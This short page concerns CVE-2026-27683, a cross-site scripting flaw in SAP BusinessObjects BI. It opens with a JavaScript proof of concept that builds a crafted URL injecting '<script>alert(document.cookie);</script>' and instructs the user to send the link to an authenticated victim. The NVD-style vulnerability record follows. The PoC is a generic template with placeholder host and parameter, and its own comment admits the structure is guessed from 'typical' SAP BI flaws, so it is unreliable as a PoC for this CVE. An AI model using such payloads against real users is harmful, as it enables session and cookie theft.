CVE-2026-27683

/* * PoC for CVE-2026-27683 * This demonstrates how a crafted URL can trigger JavaScript execution. * Replace [TARGET_URL] and [VULNERABLE_PARAM] with actual values. */ // Malicious payload to be injected var payload = '<script>alert(document.cookie);</script>'; // Construct the malicious URL // Example structure based on typical SAP BI vulnerabilities var targetUrl = "https://[TARGET_HOST]/[PATH_TO_APP]"; var vulnerableParam = "[VULNERABLE_PARAMETER]"; // Encode payload for URL transmission var exploitUrl = targetUrl + "?" + vulnerableParam + "=" + encodeURIComponent(payload); console.log("[+] Exploit URL generated:"); console.log(exploitUrl); // Send this link to an authenticated user to trigger the XSS.

{"cve": {"id": "CVE-2026-27683", "sourceIdentifier": "[email protected]", "published": "2026-04-14T00:16:06.717", "lastModified": "2026-04-17T15:18:16.507", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "SAP BusinessObjects Business Intelligence application allows an authenticated attacker to inject malicious JavaScript payloads through crafted URLs. When a victim accesses the URL, the script executes in the user�s browser, potentially exposing restricted information. This results in a low impact on confidentiality with no impact on integrity and availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N", "baseScore": 4.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://me.sap.com/notes/3698216", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}